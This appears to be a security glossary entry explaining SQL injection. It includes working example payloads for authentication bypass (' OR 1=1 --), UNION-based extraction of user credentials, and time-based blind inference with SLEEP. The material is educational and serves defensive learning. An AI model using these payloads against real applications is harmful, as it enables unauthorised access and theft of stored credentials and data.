SQLi
CriticalSQL Injection
Definition
SQL Injection (SQLi) is a vulnerability that lets an attacker interfere with the SQL queries an application sends to its database. By injecting malicious SQL into input fields, the attacker can read, modify or delete data, and even run commands on the operating system.
Impact
Examples
Authentication bypass SQLi
By injecting ' OR 1=1 -- into the username field, the condition is always true and the comment (--) ignores the rest of the query, granting access without valid credentials.
-- Original query SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT'; -- Attacker payload in the username field: ' OR 1=1 -- -- Resulting query SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '';
UNION SQLi to extract data
The UNION technique lets you combine the results of the original query with a custom query from the attacker, extracting data from other tables such as users and passwords.
# Vulnerable URL https://example.com/products?id=1 # UNION payload https://example.com/products?id=1 UNION SELECT username, password, email FROM users-- # First you must determine the number of columns: ?id=1 ORDER BY 3-- (if it works, there are at least 3 columns)
Time-based Blind SQLi
When the application shows neither errors nor visible results, the attacker can use delay functions (SLEEP) to infer information character by character based on the response time.
# The attacker infers data from the response time ?id=1 AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)-- # If the response takes 5 seconds, the first character of the version is '5' # Repeat character by character to extract the information